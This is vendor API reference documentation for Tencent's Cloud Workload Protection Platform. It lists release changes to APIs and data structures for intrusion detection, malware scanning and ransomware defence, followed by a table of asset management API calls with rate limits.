Cloud Workload Protection Platform

API Documentation

Product Documentation



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Error Codes

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API Documentation History

Last updated：2024-12-06 15:38:52

Release 2

Release time: 2024-12-06 15:37:56

Release updates:

Improvement to existing documentation.

Deleted APIs:

- CreateCloudProtectServiceOrderRecord
- DescribeCloudProtectServiceOrderList

Deprecated APIs:

- DescribeAttackLogs
- DescribeAttackSource
- DescribeAttackSourceEvents
- DescribeComponentStatistics
- DescribeIndexList
- DescribeSecurityProtectionStat

Modified APIs:

- DeleteBashEvents
  - **Modified input parameters:** Ids
- DeleteBruteAttacks
  - **Modified input parameters:** Ids
- DeleteMaliciousRequests
  - **Modified input parameters:** Ids
- DeleteMalwares
  - **Modified input parameters:** Ids
- DeletePrivilegeEvents
  - **Modified input parameters:** Ids
- DeleteReverseShellEvents

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  - **Modified input parameters:** Ids
- DescribeMachineGeneral
  - **Deprecate output parameters:** TencentCloudMachineCnt, AliCloudMachineCnt, BaiduCloudMachineCnt, IDCMachineCnt, OtherCloudMachineCnt
- ModifyJavaMemShellsStatus
  - **Modified input parameters:** Ids

Deleted data structures:

- CloudProtectService

Modified data structures:

- AssetAppBaseInfo
  - **Modified members:** MachineIp, MachineName, MachineWanIp, Uuid, Quuid, ProjectId, Tag, Name, Type, BinPath, OsInfo, ProcessCount, Desc, Version, ConfigPath, FirstTime, UpdateTime, IsNew, MachineExtraInfo
- AssetCoreModuleBaseInfo
  - **Modified members:** Name, Desc, Path, Version, MachineIp, MachineName, OsInfo, Size, ProcessCount, ModuleCount, Id, Quuid, Uuid, UpdateTime, FirstTime, IsNew, MachineWanIp, MachineExtraInfo
- AssetDatabaseBaseInfo
  - **Modified members:** MachineIp, MachineWanIp, Quuid, Uuid, OsInfo, ProjectId, Tag, Name, Version, Port, Proto, User, Ip, ConfigPath, LogPath, DataPath, Permission, ErrorLogPath, PlugInPath, BinPath, Param, Id, UpdateTime, FirstTime, IsNew, MachineName, MachineExtraInfo
- AssetEnvBaseInfo
  - **Modified members:** Name, Type, User, Value, MachineIp, MachineName, OsInfo, Quuid, Uuid, UpdateTime, FirstTime, IsNew, MachineWanIp, MachineExtraInfo
- AssetJarBaseInfo
  - **Modified members:** Name, Type, Status, Version, Path, MachineIp, MachineName, OsInfo, Id, Md5, Quuid, Uuid, UpdateTime, FirstTime, IsNew, MachineWanIp, MachineExtraInfo
- AssetPlanTask
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- AssetPortBaseInfo
  - **Modified members:** MachineIp, MachineWanIp, Quuid, Uuid, OsInfo, ProjectId, Tag, ProcessName, ProcessVersion, ProcessPath, Pid, User, StartTime, Param, Teletype, Port, GroupName, Md5, Ppid, ParentProcessName, Proto, BindIp, MachineName, UpdateTime, FirstTime, IsNew, MachineExtraInfo
- AssetProcessBaseInfo
  - **Modified members:** MachineIp, MachineWanIp, Quuid, Uuid, OsInfo, ProjectId, Tag, Name, Desc, Path, Pid, User, StartTime, Param, Tty, Version, GroupName, Md5, Ppid, ParentProcessName, Status, HasSign,

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InstallByPackage, PackageName, MachineName, UpdateTime, FirstTime, IsNew, MachineExtraInfo

- AssetSystemPackageInfo
  - **Modified members:** MachineExtraInfo, Quuid, Uuid
- AssetUserBaseInfo
  - **Modified members:** MachineIp, MachineWanIp, MachineName, OsInfo, Uuid, Quuid, Uid, Gid, Status, IsRoot, LoginType, LastLoginTime, Name, ProjectId, UserType, IsDomain, IsSudo, IsSshLogin, HomePath, Shell, ShellLoginStatus, PasswordChangeTime, PasswordDueTime, PasswordLockDays, PasswordStatus, UpdateTime, FirstTime, IsNew, MachineExtraInfo
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  - **Modified members:** MachineIp, MachineWanIp, Quuid, Uuid, OsInfo, ProjectId, Tag, Name, Version, RootPath, ServiceType, Domain, VirtualPath, PluginCount, Id, Desc, MachineName, UpdateTime, FirstTime, IsNew, MachineExtraInfo
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  - **Modified members:** MachineIp, MachineWanIp, Quuid, Uuid, OsInfo, ProjectId, Tag, Name, Version, Lang, ServiceType, MachineName, UpdateTime, FirstTime, IsNew, MachineExtraInfo, Path
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  - **Modified members:** Uuid, Quuid, MachineIp, MachineWanIp, MachineName, OsInfo, Name, Port, Proto, ServiceType, PathCount, User, MainPath, MainPathOwner, Permission, ProjectId, Tag, Id, UpdateTime, FirstTime, IsNew, MachineExtraInfo
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- BashEventNew
  - **Modified members:** Id, Uuid, Quuid, HostIp, User, Platform, BashCmd, RuleId, RuleName, RuleLevel, Status, CreateTime, MachineName, DetectBy, Pid, Exe, ModifyTime, RuleCategory, RegexBashCmd, MachineType, MachineExtraInfo
- BashEventsInfoNew

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  - **Modified members:** Id, Uuid, Quuid, HostIp, Platform, BashCmd, RuleId, RuleName, RuleLevel, Status, CreateTime, MachineName, Exe, ModifyTime, RuleCategory, RegexBashCmd, PsTree, SuggestScheme, HarmDescribe, Tags, References, MachineWanIp, MachineStatus, User, Pid, MachineType, DetectBy
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  - **Modified members:** Id, Uuid, SrcIp, SrcPort, HttpMethod, HttpCgi, HttpParam, VulType, CreatedAt, MachineIp, MachineName, DstIp, DstPort, HttpContent, MachineExtraInfo
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  - **Modified members:** Method, AttackLevel, DefenseState
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  - **Modified members:** HostName, HostIp, CreateTime, ModifyTime, Id, Uuid, Quuid, Type, ProcessExe, ProcessArgv, Target, Status, EventCount, RuleId, RuleName, Pstree, RuleCategory, MachineStatus, Description, Suggestion, PrivateIp, ExePermission, UserName, UserGroup, ExeMd5, ExeSize, ExeTime, TargetSize, TargetPermission, TargetModifyTime, TargetCreatTime, ExePid, TargetName, Reference, Level, ExeName, MachineExtraInfo, FileAction
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  - **Modified members:** AddWhiteType
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  - **Modified members:** WriteRuleCount, ReadRuleCount, ReadWriteRuleCount, FileAction, AddWhiteType
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  - **Modified members:** Id, Uuid, MachineIp, MachineName, UserName, SrcIp, Status, Country, City, Province, LoginTime, ModifyTime, IsRiskArea, IsRiskUser, IsRiskTime, IsRiskSrcIp, RiskLevel, Location, Quuid, Desc, MachineExtraInfo, Port
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  - **Modified members:** Quuid, TagList, HostIp, AliasName, MachineWanIp, Uuid, KernelVersion, MachineStatus, ProtectType, VulNum, CloudTags, InstanceID
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  - **Modified members:** IncidentId, TableName, Vertex, VertexCount
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  - **Modified members:** InstanceName, InstanceState, PrivateIp, PublicIp, Type, Description, CreateTime, RecentFoundTime, Status, ClassLoaderName, SuperClassName, Md5, Interfaces, Annotations, Pid, Exe, Args, ClassName, ClassContent, ClassContentPretty, EventDescription, SecurityAdvice, MachineExtraInfo, MachineState
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  - **Modified members:** Uuid, MachineExtraInfo
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  - **Modified members:** MachineName, MachineWanIp, MachineIp, Quuid, Uuid, Tags, AgentStatus, IsUnBind, IsSwitchBind, MachineExtraInfo
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  - **Modified members:** FixMessage, MachineExtraInfo
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  - **Modified members:** Month, UsedSize, InquireSize
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  - **Modified members:** MachineName, MachineOs, Uuid, MachineStatus, Quuid, VulNum, MachineIp, MachineWanIp, BaselineNum, CyberAttackNum, SecurityStatus, InvasionNum, MachineType, CpuLoad, CpuSize, DiskLoad, DiskSize, MemLoad, MemSize, CoreVersion, MachineExtraInfo
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  - **Modified members:** Type, Time, AlarmInfo, ProcName, CmdLine, Pid, FileMd5, FileContent, FilePath, FileCreateTime, Address, DstPort, SrcIP, User, VulName, VulTime, HttpContent, VulSrcIP, VertexId
- VulDefenceEvent
  - **Modified members:** VulId, VulName, CveId, Id, Quuid, Alias, PrivateIp, PublicIp, EventType, SourceIp, City, SourcePort, CreateTime, MergeTime, Count, Status, UpgradeType, FixType, Uuid, MachineExtraInfo
- VulDefenceEventDetail
  - **Modified members:** VulName, CveId, Id, Quuid, Alias, PrivateIp, PublicIp, EventType, SourceIp, City, SourcePort, CreateTime, MergeTime, Count, Status, MachineStatus, Description, Fix, NetworkPayload, Pid, MainClass, StackTrace, EventDetail, ExceptionPstree, MachineExtraInfo
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  - **Modified members:** EventId, Status, LastTime, Level, Quuid, Uuid, HostIp, AliasName, Tags, Description, HostVersion, IsSupportAutoFix, FixStatusMsg, FirstDiscoveryTime, InstanceState, PublicIpAddresses, CloudTags, MachineExtraInfo
- VulInfoList
  - **Modified members:** AttackLevel, FixNoNeedRestart, Method
- VulStoreListInfo
  - **Modified members:** Method, AttackLevel, FixSwitch, SupportDefense
- WarningInfoObj
  - **Modified members:** HostRange
- WebHookRuleSummary
  - **Modified members:** RuleId, RuleName, HookAddr, RuleRemark, RuleItems, HostLabels, IsDisabled, CreateTime, UpdateTime, HostCount

Release 1

Release time: 2024-08-27 11:31:23

Release updates:

Improvement to existing documentation.

New APIs:

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- AddLoginWhiteLists
- CancelIgnoreVul
- ChangeRuleEventsIgnoreStatus
- ChangeStrategyEnableStatus
- CheckBashPolicyParams
- CheckBashRuleParams
- CheckFileTamperRule
- CheckFirstScanBaseline
- CheckLogKafkaConnectionState
- ClearLocalStorage
- CreateBanWhiteList
- CreateBaselineStrategy
- CreateBuyBindTask
- CreateCloudProtectServiceOrderRecord
- CreateEmergencyVulScan
- CreateIncidentBacktracking
- CreateLicenseOrder
- CreateLogExport
- CreateMaliciousRequestWhiteList
- CreateMalwareWhiteList
- CreateNetAttackWhiteList
- CreateRansomDefenseStrategy
- CreateScanMalwareSetting
- CreateSearchLog
- CreateSearchTemplate
- CreateVulFix
- CreateWhiteListOrder
- DeleteAllJavaMemShells
- DeleteBanWhiteList
- DeleteBaselinePolicy
- DeleteBaselineStrategy
- DeleteBashEvents
- DeleteBashPolicies
- DeleteBashRules
- DeleteBruteAttacks
- DeleteLicenseRecord
- DeleteLicenseRecordAll
- DeleteLogExport

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- DeleteLoginWhiteList
- DeleteMachine
- DeleteMachineClearHistory
- DeleteMachineTag
- DeleteMaliciousRequestWhiteList
- DeleteMaliciousRequests
- DeleteMalwareScanTask
- DeleteMalwareWhiteList
- DeleteMalwares
- DeleteNetAttackWhiteList
- DeleteNonlocalLoginPlaces
- DeletePrivilegeEvents
- DeletePrivilegeRules
- DeleteReverseShellEvents
- DeleteReverseShellRules
- DeleteRiskDnsEvent
- DeleteRiskDnsPolicy
- DeleteScanTask
- DeleteSearchTemplate
- DeleteTags
- DeleteWebHookPolicy
- DeleteWebHookReceiver
- DeleteWebHookRule
- DescribeABTestConfig
- DescribeAESKey
- DescribeAccountStatistics
- DescribeAgentInstallCommand
- DescribeAgentInstallationToken
- DescribeAlarmIncidentNodes
- DescribeAlarmVertexId
- DescribeAssetAppCount
- DescribeAssetAppList
- DescribeAssetAppProcessList
- DescribeAssetCoreModuleInfo
- DescribeAssetCoreModuleList
- DescribeAssetDatabaseCount
- DescribeAssetDatabaseInfo
- DescribeAssetDatabaseList

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- DescribeAssetDiskList
- DescribeAssetEnvList
- DescribeAssetHostTotalCount
- DescribeAssetInfo
- DescribeAssetInitServiceList
- DescribeAssetJarInfo
- DescribeAssetJarList
- DescribeAssetLoadInfo
- DescribeAssetMachineDetail
- DescribeAssetMachineList
- DescribeAssetMachineTagTop
- DescribeAssetPlanTaskList
- DescribeAssetPortCount
- DescribeAssetPortInfoList
- DescribeAssetProcessCount
- DescribeAssetProcessInfoList
- DescribeAssetRecentMachineInfo
- DescribeAssetSystemPackageList
- DescribeAssetTotalCount
- DescribeAssetTypeTop
- DescribeAssetTypes
- DescribeAssetUserCount
- DescribeAssetUserInfo
- DescribeAssetUserKeyList
- DescribeAssetUserList
- DescribeAssetWebAppCount
- DescribeAssetWebAppList
- DescribeAssetWebAppPluginList
- DescribeAssetWebFrameCount
- DescribeAssetWebFrameList
- DescribeAssetWebLocationCount
- DescribeAssetWebLocationInfo
- DescribeAssetWebLocationList
- DescribeAssetWebLocationPathList
- DescribeAssetWebServiceCount
- DescribeAssetWebServiceInfoList
- DescribeAssetWebServiceProcessList
- DescribeAttackEventInfo

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- DescribeAttackEvents
- DescribeAttackLogs
- DescribeAttackSource
- DescribeAttackSourceEvents
- DescribeAttackStatistics
- DescribeAttackTop
- DescribeAttackTrends
- DescribeAttackVulTypeList
- DescribeAvailableExpertServiceDetail
- DescribeBanMode
- DescribeBanRegions
- DescribeBanStatus
- DescribeBanWhiteList
- DescribeBaselineBasicInfo
- DescribeBaselineDefaultStrategyList
- DescribeBaselineDetail
- DescribeBaselineEffectHostList
- DescribeBaselineHostDetectList
- DescribeBaselineHostTop
- DescribeBaselineItemDetectList
- DescribeBaselineItemList
- DescribeBaselineList
- DescribeBaselinePolicyList
- DescribeBaselineRule
- DescribeBaselineScanSchedule
- DescribeBaselineStrategyDetail
- DescribeBaselineStrategyList
- DescribeBaselineTop
- DescribeBaselineWeakPasswordList
- DescribeBashEvents
- DescribeBashEventsInfo
- DescribeBashEventsInfoNew
- DescribeBashEventsNew
- DescribeBashPolicies
- DescribeBashRules
- DescribeBruteAttackList
- DescribeBruteAttackRules
- DescribeCanFixVulMachine

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- DescribeCanNotSeparateMachine
- DescribeClientException
- DescribeCloudProtectServiceOrderList
- DescribeComponentStatistics
- DescribeDefenceEventDetail
- DescribeDirectConnectInstallCommand
- DescribeESAggregations
- DescribeEmergencyResponseList
- DescribeEmergencyVulList
- DescribeEventByTable
- DescribeExpertServiceList
- DescribeExpertServiceOrderList
- DescribeExportMachines
- DescribeFastAnalysis
- DescribeFileTamperEventRuleInfo
- DescribeFileTamperEvents
- DescribeFileTamperRuleCount
- DescribeFileTamperRuleInfo
- DescribeFileTamperRules
- DescribeGeneralStat
- DescribeHistoryAccounts
- DescribeHistoryService
- DescribeHostInfo
- DescribeHostLoginList
- DescribeHotVulTop
- DescribeIgnoreBaselineRule
- DescribeIgnoreHostAndItemConfig
- DescribeIgnoreRuleEffectHostList
- DescribeIndexList
- DescribeJavaMemShellInfo
- DescribeJavaMemShellList
- DescribeJavaMemShellPluginInfo
- DescribeJavaMemShellPluginList
- DescribeLicense
- DescribeLicenseBindList
- DescribeLicenseBindSchedule
- DescribeLicenseGeneral
- DescribeLicenseList

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- DescribeLicenseWhiteConfig
- DescribeLogDeliveryKafkaOptions
- DescribeLogExports
- DescribeLogHistogram
- DescribeLogIndex
- DescribeLogKafkaDeliverInfo
- DescribeLogStorageConfig
- DescribeLogStorageRecord
- DescribeLogStorageStatistic
- DescribeLogType
- DescribeLoginWhiteCombinedList
- DescribeLoginWhiteHostList
- DescribeLoginWhiteList
- DescribeMachineClearHistory
- DescribeMachineDefenseCnt
- DescribeMachineFileTamperRules
- DescribeMachineGeneral
- DescribeMachineLicenseDetail
- DescribeMachineOsList
- DescribeMachineRegionList
- DescribeMachineRegions
- DescribeMachineRiskCnt
- DescribeMachineSnapshot
- DescribeMachines
- DescribeMachinesSimple
- DescribeMalWareList
- DescribeMaliciousRequestWhiteList
- DescribeMalwareFile
- DescribeMalwareInfo
- DescribeMalwareRiskOverview
- DescribeMalwareRiskWarning
- DescribeMalwareTimingScanSetting
- DescribeMalwareWhiteList
- DescribeMalwareWhiteListAffectList
- DescribeMonthInspectionReport
- DescribeNetAttackSetting
- DescribeNetAttackWhiteList
- DescribeOpenPortStatistics

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- DescribeOverviewStatistics
- DescribePrivilegeEventInfo
- DescribePrivilegeRules
- DescribeProVersionInfo
- DescribeProVersionStatus
- DescribeProcessStatistics
- DescribeProductStatus
- DescribePublicProxyInstallCommand
- DescribeRansomDefenseBackupList
- DescribeRansomDefenseEventsList
- DescribeRansomDefenseMachineList
- DescribeRansomDefenseMachineStrategyInfo
- DescribeRansomDefenseRollBackTaskList
- DescribeRansomDefenseState
- DescribeRansomDefenseStrategyDetail
- DescribeRansomDefenseStrategyList
- DescribeRansomDefenseStrategyMachines
- DescribeRansomDefenseTrend
- DescribeRecommendedProtectCpu
- DescribeReverseShellEventInfo
- DescribeReverseShellEvents
- DescribeReverseShellRules
- DescribeRiskBatchStatus
- DescribeRiskDnsEventInfo
- DescribeRiskDnsEventList
- DescribeRiskDnsInfo
- DescribeRiskDnsList
- DescribeRiskDnsPolicyList
- DescribeRiskProcessEvents
- DescribeSafeInfo
- DescribeScanMalwareSchedule
- DescribeScanSchedule
- DescribeScanState
- DescribeScanTaskDetails
- DescribeScanTaskStatus
- DescribeScanVulSetting
- DescribeScreenAttackHotspot
- DescribeScreenBroadcasts

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- DescribeScreenDefenseTrends
- DescribeScreenEmergentMsg
- DescribeScreenEventsCnt
- DescribeScreenGeneralStat
- DescribeScreenHostInvasion
- DescribeScreenMachineRegions
- DescribeScreenMachines
- DescribeScreenProtectionCnt
- DescribeScreenProtectionStat
- DescribeScreenRiskAssetsTop
- DescribeSearchLogs
- DescribeSearchTemplates
- DescribeSecurityBroadcastInfo
- DescribeSecurityBroadcasts
- DescribeSecurityDynamics
- DescribeSecurityEventStat
- DescribeSecurityEventsCnt
- DescribeSecurityProtectionStat
- DescribeSecurityTrends
- DescribeServersAndRiskAndFirstInfo
- DescribeStrategyExist
- DescribeTagMachines
- DescribeTags
- DescribeTrialReport
- DescribeUndoVulCounts
- DescribeUsersConfig
- DescribeUsualLoginPlaces
- DescribeVdbAndPocInfo
- DescribeVersionCompareChart
- DescribeVersionStatistics
- DescribeVertexDetail
- DescribeVulCountByDates
- DescribeVulCveIdInfo
- DescribeVulDefenceEvent
- DescribeVulDefenceList
- DescribeVulDefenceOverview
- DescribeVulDefencePluginDetail
- DescribeVulDefencePluginExceptionCount

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- DescribeVulDefencePluginStatus
- DescribeVulDefenceSetting
- DescribeVulEffectHostList
- DescribeVulEffectModules
- DescribeVulEmergentMsg
- DescribeVulFixStatus
- DescribeVulHostCountScanTime
- DescribeVulHostTop
- DescribeVulInfoCvss
- DescribeVulLabels
- DescribeVulLevelCount
- DescribeVulList
- DescribeVulOverview
- DescribeVulStoreList
- DescribeVulTop
- DescribeVulTrend
- DescribeWarningHostConfig
- DescribeWarningList
- DescribeWebHookPolicy
- DescribeWebHookReceiver
- DescribeWebHookReceiverUsage
- DescribeWebHookRule
- DescribeWebHookRules
- DestroyOrder
- EditBashRules
- EditPrivilegeRules
- EditReverseShellRules
- EditTags
- ExportAssetAppList
- ExportAssetCoreModuleList
- ExportAssetDatabaseList
- ExportAssetEnvList
- ExportAssetInitServiceList
- ExportAssetJarList
- ExportAssetMachineDetail
- ExportAssetMachineList
- ExportAssetPlanTaskList
- ExportAssetPortInfoList

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- ExportAssetProcessInfoList
- ExportAssetRecentMachineInfo
- ExportAssetSystemPackageList
- ExportAssetUserList
- ExportAssetWebAppList
- ExportAssetWebFrameList
- ExportAssetWebLocationList
- ExportAssetWebServiceInfoList
- ExportAttackEvents
- ExportBaselineEffectHostList
- ExportBaselineFixList
- ExportBaselineHostDetectList
- ExportBaselineItemDetectList
- ExportBaselineList
- ExportBashEvents
- ExportBashEventsNew
- ExportBashPolicies
- ExportBruteAttacks
- ExportFileTamperEvents
- ExportFileTamperRules
- ExportIgnoreBaselineRule
- ExportIgnoreRuleEffectHostList
- ExportJavaMemShellPlugins
- ExportJavaMemShells
- ExportLicenseDetail
- ExportMaliciousRequests
- ExportMalwares
- ExportNonlocalLoginPlaces
- ExportPrivilegeEvents
- ExportRansomDefenseBackupList
- ExportRansomDefenseEventsList
- ExportRansomDefenseMachineList
- ExportRansomDefenseStrategyList
- ExportRansomDefenseStrategyMachines
- ExportReverseShellEvents
- ExportRiskDnsEventList
- ExportRiskDnsPolicyList
- ExportRiskProcessEvents

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- ExportScanTaskDetails
- ExportSecurityTrends
- ExportTasks
- ExportVulDefenceEvent
- ExportVulDefenceList
- ExportVulDefencePluginEvent
- ExportVulDetectionExcel
- ExportVulDetectionReport
- ExportVulEffectHostList
- ExportVulInfo
- ExportVulList
- GetLocalStorageItem
- IgnoreImpactedHosts
- KeysLocalStorage
- ModifyAutoOpenProVersionConfig
- ModifyBanMode
- ModifyBanStatus
- ModifyBanWhiteList
- ModifyBaselinePolicy
- ModifyBashPolicy
- ModifyBashPolicyStatus
- ModifyBruteAttackRules
- ModifyEventAttackStatus
- ModifyFileTamperEvents
- ModifyFileTamperRule
- ModifyFileTamperRuleStatus
- ModifyJavaMemShellPluginSwitch
- ModifyJavaMemShellsStatus
- ModifyLicenseBinds
- ModifyLicenseOrder
- ModifyLogKafkaAccess
- ModifyLogKafkaDeliverType
- ModifyLogKafkaState
- ModifyLogStorageConfig
- ModifyLoginWhiteInfo
- ModifyLoginWhiteRecord
- ModifyMachineAutoClearConfig
- ModifyMaliciousRequestWhiteList

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- ModifyMalwareTimingScanSettings
- ModifyMalwareWhiteList
- ModifyNetAttackSetting
- ModifyNetAttackWhiteList
- ModifyRansomDefenseEventsStatus
- ModifyRansomDefenseStrategyStatus
- ModifyRiskDnsPolicy
- ModifyRiskDnsPolicyStatus
- ModifyRiskEventsStatus
- ModifyUsersConfig
- ModifyVulDefenceEventStatus
- ModifyVulDefenceSetting
- ModifyWarningHostConfig
- ModifyWarningSetting
- ModifyWebHookPolicy
- ModifyWebHookPolicyStatus
- ModifyWebHookReceiver
- ModifyWebHookRule
- ModifyWebHookRuleStatus
- ModifyWebPageProtectSwitch
- RansomDefenseRollback
- RecoverMalwares
- RemoveLocalStorageItem
- RemoveMachine
- RetryCreateSnapshot
- RetryVulFix
- ScanBaseline
- ScanTaskAgain
- ScanVul
- ScanVulAgain
- ScanVulSetting
- SearchLog
- SeparateMalwares
- SetBashEventsStatus
- SetLocalStorageExpire
- SetLocalStorageItem
- StartBaselineDetect
- StopAssetScan

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- StopBaselineDetect
- StopNoticeBanTips
- SwitchBashRules
- SyncAssetScan
- SyncBaselineDetectSummary
- SyncMachines
- TestWebHookRule
- TrustMalwares
- UntrustMalwares
- UpdateBaselineStrategy
- UpdateMachineTags

New data structures:

- ABTestConfig
- AccountStatistics
- AlarmInfo
- AssetAppBaseInfo
- AssetAppProcessInfo
- AssetCoreModuleBaseInfo
- AssetCoreModuleDetail
- AssetCoreModuleParam
- AssetDatabaseBaseInfo
- AssetDatabaseDetail
- AssetDiskPartitionInfo
- AssetEnvBaseInfo
- AssetFilters
- AssetInitServiceBaseInfo
- AssetJarBaseInfo
- AssetJarDetail
- AssetKeyVal
- AssetLoadDetail
- AssetLoadSummary
- AssetMachineBaseInfo
- AssetMachineDetail
- AssetNetworkCardInfo
- AssetPlanTask
- AssetPortBaseInfo

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- AssetProcessBaseInfo
- AssetSystemPackageInfo
- AssetType
- AssetUserBaseInfo
- AssetUserDetail
- AssetUserKeyInfo
- AssetWebAppBaseInfo
- AssetWebAppPluginInfo
- AssetWebFrameBaseInfo
- AssetWebLocationBaseInfo
- AssetWebLocationInfo
- AssetWebLocationPath
- AssetWebServiceBaseInfo
- AttackSource
- AttackSourceEdge
- AttackSourceEvent
- AttackSourceNode
- BanWhiteList
- BanWhiteListDetail
- BaselineBasicInfo
- BaselineCustomRuleIdName
- BaselineDetail
- BaselineDetectParam
- BaselineEffectHost
- BaselineEventLevelInfo
- BaselineHost
- BaselineHostDetect
- BaselineHostTopList
- BaselineInfo
- BaselineItem
- BaselineItemDetect
- BaselineItemInfo
- BaselinePolicy
- BaselineRuleInfo
- BaselineRuleTopInfo
- BaselineWeakPassword
- BashEvent
- BashEventNew

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- BashEventsInfo
- BashEventsInfoNew
- BashPolicy
- BashRule
- BroadcastInfo
- Broadcasts
- BruteAttackInfo
- BruteAttackRule
- BruteAttackRuleList
- CKafkaInstanceInfo
- CKafkaRouteInfo
- CKafkaTopicInfo
- CanFixVulInfo
- CanNotSeparateInfo
- CloudProtectService
- ComponentStatistics
- CreateVulFixTaskQuuids
- DefaultStrategyInfo
- DefendAttackLog
- DeliverTypeDetails
- DuplicateHosts
- EmergencyResponseInfo
- EmergencyVul
- EventStat
- ExpertServiceOrderInfo
- ExportInfo
- FieldValueRatioInfo
- FileTamperEvent
- FileTamperRule
- FileTamperRuleCount
- FileTamperRuleDetail
- FileTamperRuleInfo
- Filter
- Filters
- FullTextInfo
- HistoryAccount
- HostDesc
- HostInfo

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- HostLoginList
- HostLoginWhiteObj
- HostTagInfo
- IgnoreBaselineRule
- IgnoreRuleEffectHostInfo
- IncidentVertexInfo
- JavaMemShellDetail
- JavaMemShellInfo
- JavaMemShellPluginInfo
- JavaMemShellPluginSetting
- KeyValueArrayInfo
- KeyValueInfo
- LicenseBindDetail
- LicenseBindTaskDetail
- LicenseDetail
- LicenseOrder
- LogHistogram
- LogInfo
- LogStorageRecord
- LoginWhiteCombinedInfo
- LoginWhiteLists
- Machine
- MachineClearHistory
- MachineExtraInfo
- MachineFileTamperRule
- MachineLicenseDetail
- MachineSimple
- MachineSnapshotInfo
- MachineTag
- MalWareList
- MaliciousRequestWhiteListInfo
- MalwareInfo
- MalwareRisk
- MalwareRiskOverview
- MalwareWhiteListAffectEvent
- MalwareWhiteListInfo
- MonthInspectionReport
- NetAttackEvent

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- NetAttackEventInfo
- NetAttackTopInfo
- NetAttackTrend
- NetAttackWhiteRule
- OpenPortStatistics
- OrderModifyObject
- OrderResource
- OsName
- Place
- PrivilegeEventInfo
- PrivilegeRule
- ProcessStatistics
- ProductStatusInfo
- RansomDefenseBackup
- RansomDefenseEvent
- RansomDefenseRollbackTask
- RansomDefenseStrategy
- RansomDefenseStrategyDetail
- RansomDefenseStrategyMachineBackupInfo
- RansomDefenseStrategyMachineDetail
- RansomDefenseStrategyMachineInfo
- RecordInfo
- RegionInfo
- RegionListDetail
- RegionSet
- ReverseShell
- ReverseShellEventInfo
- ReverseShellRule
- RiskDnsEvent
- RiskDnsList
- RiskDnsPolicy
- RiskProcessEvent
- RuleInfo
- ScanTaskDetails
- ScreenAttackHotspot
- ScreenBaselineInfo
- ScreenBroadcasts
- ScreenDefendAttackLog

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- ScreenEmergentMsg
- ScreenEventsCnt
- ScreenInvasion
- ScreenMachine
- ScreenNameValue
- ScreenProtection
- ScreenProtectionCnt
- ScreenRegionInfo
- ScreenRegionMachines
- ScreenTrendsChart
- ScreenVulInfo
- SearchTemplate
- SecurityButlerInfo
- SecurityDynamic
- SecurityEventInfo
- SecurityTrend
- StandardModeConfig
- Strategy
- Tag
- TagMachine
- Tags
- TaskStatus
- TopInfo
- UpdateHostLoginWhiteObj
- UsualPlace
- ValueInfo
- VersionWhiteConfig
- VertexDetail
- VertexInfo
- VulDefenceEvent
- VulDefenceEventDetail
- VulDefenceOverview
- VulDefencePluginDetail
- VulDefencePluginStatus
- VulDefenceRangeDetail
- VulDetailInfo
- VulEffectHostList
- VulEffectModuleInfo

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- VulEmergentMsgInfo
- VulFixStatusHostInfo
- VulFixStatusInfo
- VulFixStatusSnapshotInfo
- VulHostTopInfo
- VulInfoByCveId
- VulInfoHostInfo
- VulInfoList
- VulLevelCountInfo
- VulLevelInfo
- VulOverview
- VulStoreListInfo
- VulTopInfo
- WarningInfoObj
- WarningObject
- WebHookCustomField
- WebHookEventKv
- WebHookHostLabel
- WebHookPolicy
- WebHookReceiver
- WebHookReceiverUsage
- WebHookRuleDetail
- WebHookRuleSummary
- ZoneInfo

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Introduction

Last updated：2024-08-27 11:31:47

CWPP (Yunjing) is based on massive threat data accumulated by Tencent Security. It uses machine learning to provide users with security protection services such as hacker intrusion detection and vulnerability risk warning. It mainly includes password cracking interception, remote log-in reminders, Trojan file detection, high-risk vulnerability detection, and other security features to solve the main network security risks currently faced by servers, help enterprises build a server security protection system, and prevent data leakage.

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API Category

Last updated：2024-12-06 15:38:47

Asset Management APIs

API Name	Feature	Frequency Limit (maximum requests per second)
DescribeAssetMachineList	Obtains the list of resource monitoring	20
DescribeAssetMachineDetail	Obtains asset management host resource details	20
DescribeAssetUserList	Obtains the list of accounts	20
DescribeAssetUserInfo	Obtain host account details	20
DescribeAssetPortInfoList	Obtains the list of asset management ports	20
DescribeAssetProcessInfoList	Obtains the list of asset management processes	20
DescribeAssetAppList	Queries the application list	20
DescribeAssetAppProcessList	Obtains the list of software's associated processes	20
DescribeAssetDatabaseList	Queries the list of asset management databases	20
DescribeAssetDatabaseInfo	Obtains the asset management database details	20
DescribeAssetWebAppList	Obtains the list of asset management web applications	20
DescribeAssetWebServiceInfoList	Queries the list of asset management Web services	20
DescribeAssetWebAppPluginList	Obtains the list of asset management Web application plugins	20

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DescribeAssetWebServiceProcessList	Obtains the list of processes associated with Web services	20
DescribeAssetWebFrameList	Obtains the list of asset management web frameworks	20
DescribeAssetWebLocationList	Obtains the list of Web sites	20
DescribeAssetWebLocationInfo	Obtains the Web site details	20
DescribeAssetJarList	Queries the list of Jar packages	20
DescribeAssetJarInfo	Obtains Jar package details	20
DescribeAssetInitServiceList	Queries the list of asset management start services	20
DescribeAssetPlanTaskList	Queries the list of asset management plan tasks	20
DescribeAssetCoreModuleList	Queries the list of asset management kernel modules	20
DescribeAssetCoreModuleInfo	Obtains kernel module details	20
DescribeAssetSystemPackageList	Obtains the list of system installation packages for asset management	20
SyncAssetScan	Synchronizes the asset scan information	20
DescribeAssetRecentMachineInfo	Obtains the trend of host overview	20
DescribeAssetMachineTagTop	Obtains top 5 host tags	20
DescribeAssetLoadInfo	Obtains the resource load overview	20
DescribeAssetTypeTop	Obtains Top5 resources of various types	20
ExportAssetRecentMachineInfo	Exports host trends	20
DescribeMachineGeneral	Queries the information of the host overview	20
DescribeMachineRegions	Obtains the list of machine regions	20
DescribeMachineOsList	Queries the machine operating system list	20

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DescribeMachineLicenseDetail	Queries the machine authorization information	20
DescribeMachines	Obtains the list of hosts in a specific region	20
DescribeMachinesSimple	Obtains the list of hosts	20
DescribeDirectConnectInstallCommand	Obtains DC agent installation command	20
DescribeAgentInstallationToken	Obtains the token for installing the agent in a hybrid cloud environment	20
RemoveMachine	Cleans up the host information	20
DescribeHostInfo	Queries the host and tag information	20
EditTags	Adds or edits tags	20
DescribeTags	Obtains all host tags	20
DeleteTags	Deletes tags	20
DeleteMachineTag	Deletes tags associated with the server	20
UpdateMachineTags	List of tags associated with machines	20
DescribeTagMachines	Obtains the server information associated with the specified tag	20
ExportAssetUserList	Exports the account list	20
DescribeAssetUserCount	Obtains the total number of accounts	20
ExportAssetMachineList	Exports the list of resource monitoring	20
